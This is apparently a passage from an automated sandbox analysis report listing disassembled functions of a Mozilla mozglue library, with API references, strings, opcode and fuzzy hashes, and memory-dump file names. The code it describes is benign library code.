API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 06df81c95b2a13f1cbca17c64401f4fc730111f25aff24bbd037e84fc1d1fecd
Instruction ID: fc71d06f10abec759c7a2cf6c70f4ebe4527d1f53cd4feb63daaa6505afdd0f6
Opcode Fuzzy Hash: 06df81c95b2a13f1cbca17c64401f4fc730111f25aff24bbd037e84fc1d1fecd
Instruction Fuzzy Hash: 48725E72A157218FD704CF2AC540615FBE2BF85728F29C66DE8699BB91D335EC81CB80

Function 6CA92C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CA92C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CA92C61

Part of subcall function 6CA44DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA44E5A
Part of subcall function 6CA44DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA44E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA92C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA92E2D

Part of subcall function 6CA581B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CA581DE

Strings

(root), xrefs: 6CA9354F
ProfileBuffer parse error: %s, xrefs: 6CA92E3B
expected a Time entry, xrefs: 6CA92E36

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: fb4c4ce4dbb3973fd64e8c274c395650c6832aae947f58b7f960c407902067af
Instruction ID: f3e2d2d8f15262ad2102993a1de67d9fc169a7d6244e094fca5c355f3bac8d49
Opcode Fuzzy Hash: fb4c4ce4dbb3973fd64e8c274c395650c6832aae947f58b7f960c407902067af
Instruction Fuzzy Hash: 7691D0B06187418FC724CF28C48669FB7F4AFC9358F148A1DE59A9BB50DB30D989CB52

Function 6CA6C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6CA6D4BB
0123456789abcdef, xrefs: 6CA6C317

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 3e9eaa731b17002bc2e16a1128b58de233ba464109716440eb1d16c744de0bd8
Instruction ID: 5044e2fb868176e442ee9c07b851ed71be393d3c63343dc8142f9705022fbcab
Opcode Fuzzy Hash: 3e9eaa731b17002bc2e16a1128b58de233ba464109716440eb1d16c744de0bd8
Instruction Fuzzy Hash: 81520570A083418FDB24CF29C45479AB7F2FB86358F28891DE8D687F81D7359886CB42

Function 6CAA9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CAA9F3D
__aulldiv.LIBCMT ref: 6CAA9F77
__aullrem.LIBCMT ref: 6CAA9F8C
__aulldiv.LIBCMT ref: 6CAAA023

Strings

NaN, xrefs: 6CAA9EAB
-Infinity, xrefs: 6CAA9E60, 6CAA9E7B

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 630cc40948195ad893796fe66fa41f5f83213377b0f7ce0ae5a560490d9e9a32
Instruction ID: 2e4b2f62aeef02e97b51b76b2e75f0a54fc74467f526892487da61083dfe5ce5
Opcode Fuzzy Hash: 630cc40948195ad893796fe66fa41f5f83213377b0f7ce0ae5a560490d9e9a32
Instruction Fuzzy Hash: 63C18071F003199BDB14CFE9C85079EB7B6BB88314F584529D405ABB80D771AD8ACB91

Function 6CA4D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6CA4DC7F
0, xrefs: 6CA4D852
, xrefs: 6CA4DA88
-, xrefs: 6CA4D7DD
1, xrefs: 6CA4DBDD
8, xrefs: 6CA4DC08
9, xrefs: 6CA4DE7F
@, xrefs: 6CA4DAF6

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 653cda99a587a2dbd36f74e7b2b1778136c87ede42baec4b166404fff56c8d3a
Instruction ID: 37ccf4f3202d98e60f589bafee5feb18ee72563aa53995c14ab2478b57d3e38a
Opcode Fuzzy Hash: 653cda99a587a2dbd36f74e7b2b1778136c87ede42baec4b166404fff56c8d3a
Instruction Fuzzy Hash: 1C62BE71A0C3458FDB11CE29C49076ABBF2AF86358F18CA5DE4E54BA91C33599C5CB83

Function 6CA59F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6CA5AB22
1, xrefs: 6CA5A824
0, xrefs: 6CA5A100
9, xrefs: 6CA5A5D6
@, xrefs: 6CA5A625
' , xrefs: 6CA5A3D8

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 8b84bd3ff384648416f489bf92bf4e032325d013153e5a314d93116b1cecb059
Instruction ID: 948bf1c909af7e5a22a538f826a0573d069414b67ff1293006188494714a3c93
Opcode Fuzzy Hash: 8b84bd3ff384648416f489bf92bf4e032325d013153e5a314d93116b1cecb059
Instruction Fuzzy Hash: 7C82C1757093158BD7108E09C09027EB7F3FB85718FD9C92AE89547A90D335ACE6CBA2

Function 6CA4BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA4C1CB
__aulldiv.LIBCMT ref: 6CA4C24C
__aulldiv.LIBCMT ref: 6CA4C348
__aullrem.LIBCMT ref: 6CA4C365
__aulldiv.LIBCMT ref: 6CA4C37D

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 6ed69242860006ce75cca3d0b7d4a5c59c927560e8777d70a943c91aaea76bc2
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 61322632B046119FC718DE2CC890666BBE6AFC9314F09867DE899CB395D734ED09CB91

Function 6CAB545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAB8A4B

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: e395eb2141be3cec11b989f0807bafbb5ae76de2607e2bb2d5db1502a77008cb
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 6BB1C572E0121A8FDB14CF68CD91BD9B7B6EF95314F1802A9C549EB781D73099C9CB90

Function 6CAB542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAB88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAB925C

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 3bb00dfa842ea0c067f45a99f7c5b34e7edd749b524cb4c5babe9d7453e4cecf
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 0DB1C572E0020A8BDB14CF68C9816EDB7B6EF95314F180279C549EB785D730A9D9CB90

Function 6CAB50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAB8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAB925C

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: e888f31176f3fd0174306cf5b4e6557023f17c6464771d44dfd4f3a08d010ba3
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 0EA1C672E002178BCB14CE68CC907D9B7B6AF95314F1902BAC949EB745D730A9D9CB90

Function 6CA977A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA97A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA97A93

Part of subcall function 6CA65C50: GetTickCount64.KERNEL32 ref: 6CA65D40
Part of subcall function 6CA65C50: EnterCriticalSection.KERNEL32(6CACF688), ref: 6CA65D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA97AA1

Part of subcall function 6CA65C50: __aulldiv.LIBCMT ref: 6CA65DB4
Part of subcall function 6CA65C50: LeaveCriticalSection.KERNEL32(6CACF688), ref: 6CA65DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CA97B31

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 243145f15d3c3d24f265c7cedb5103a76ac58fc8a238310385cb612644839ce1
Instruction ID: a5f9194c2fd1dc8ccc3259ecf0773c58102d48150d24189cad111dcb34b3d93c
Opcode Fuzzy Hash: 243145f15d3c3d24f265c7cedb5103a76ac58fc8a238310385cb612644839ce1
Instruction Fuzzy Hash: 68B1C3356183808BCB14CF24C45165FB7E2BFC5318F198A1CE995A7B91DB70E98ACB92

Function 6CA86CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CA86D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA86E1E

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 4358dbc8542030fb902722fbcab280847adc9af35dd5a8bb76720d401f77e152
Instruction ID: 8c353c008f6a8c62ff53def87152be5fe72f5c48749b169d167770b48176e9d7
Opcode Fuzzy Hash: 4358dbc8542030fb902722fbcab280847adc9af35dd5a8bb76720d401f77e152
Instruction Fuzzy Hash: B2A16C746193818FD715CF24C5907AEBBF2BF88308F04895DE48A87751DB70E989CB92

Function 6CAAB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CAAB720
RtlNtStatusToDosError.NTDLL ref: 6CAAB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CA7FE3F,00000000,00000000,?,?,00000000,?,6CA7FE3F), ref: 6CAAB760

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: f56fe6f67d0334ee6a0fd977b4db172b1b9a3dffacd66c4a2c05f7837ba2a1d0
Instruction ID: 828e9659e20fe07c0711aff54c364f7b6dae8d0e0ea8881c01406961e640da3b
Opcode Fuzzy Hash: f56fe6f67d0334ee6a0fd977b4db172b1b9a3dffacd66c4a2c05f7837ba2a1d0
Instruction Fuzzy Hash: 53F0FFB0A0120CAEEF009AE0EC80BEE73BC9B0431DF005229E115725C1C7B495CCC760

Function 6CA64640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CA64777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA65585, 6CA655A8, 6CA655C3, 6CA65624

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: eee66bdeb75f247f55b085b9c1537504d0eca52c89d12f32019d207e112e4071
Instruction ID: 4c9a0fc4a7966a935f2fb1deba556d8fbee8b164da94654973059bafb712f3ee
Opcode Fuzzy Hash: eee66bdeb75f247f55b085b9c1537504d0eca52c89d12f32019d207e112e4071
Instruction Fuzzy Hash: 44B25E71A056018FD308CF2AC554615BBE2BFC5728B2DC76DE46A8BBA6D771D881CB80

Function 6CAA85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAA8C7C
__aulldiv.LIBCMT ref: 6CAA8DD7

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 01d3d7a645cedf346e16772bf8d03088beedab1539b61cd636a872b7270c1681
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 6A327F71F011598BDF18CE9DC8A17EEB7B2FB88300F15853AD506BB790DA349D868B91

Function 6CAAB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CA503D4,?), ref: 6CAAB955
NtQueryVirtualMemory.NTDLL ref: 6CAAB9A5

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: f84350b16363b835dcb822d64751f5fafc8847a8c15bc2f7e1d689df64537a88
Instruction ID: 8c4011f8715ee3e701b563c9603cd21651eb77a463159f34bf25cd992701e28e
Opcode Fuzzy Hash: f84350b16363b835dcb822d64751f5fafc8847a8c15bc2f7e1d689df64537a88
Instruction Fuzzy Hash: 3041A571E0121D9FDF04CFE9E981ADEB7B6FF88314F148229E415A7704DB31998A8B90

Function 6CA85C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CA54A63,?,?), ref: 6CA85F06

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 94895408a579aa66eed28a8bf8e8a59b0f6fd74f39ccef57652df8cc705cd664
Instruction ID: f57e0d0885a4541ea4cca57d828cb59e03e6394e466fa12567c339e8bc40d437
Opcode Fuzzy Hash: 94895408a579aa66eed28a8bf8e8a59b0f6fd74f39ccef57652df8cc705cd664
Instruction Fuzzy Hash: 6DC1A075D022098BDB04CF99C5906EEBBF2FF89318F28415DDC566BB45D732A886CB90

Function 6CA4DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cad8c5f5f28010b139dbf19525f0fb8d6540e5e59eb0946d1fec94bb9128853
Instruction ID: 72589cd372da5c8844971d9192778a3e1726c251008809daa078148c026dcc4a
Opcode Fuzzy Hash: 5cad8c5f5f28010b139dbf19525f0fb8d6540e5e59eb0946d1fec94bb9128853
Instruction Fuzzy Hash: A342C472A087518BD308CE3CC49075AF3E2BFC9364F198B2DE999A7791D774D9818B81

Function 6CAB76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: a09b4d099e367b772695fbe40ab064be7bfd552693a6ce5c5480262d7d5c46d2
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 09321771E0061A8FCB14CF98C990AADFBB6BF88304F688169C549F7745D771A986CF90

Function 6CAB6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: b85531ed2cabc22ae739d2b51f9cf741bacae514b245c9a7435faa2e48c190a4
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 2622E671E006198FCB14CF98C990AADF7B6BF88304F6881AAC549F7745D771A986CF90

Function 6CA70512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

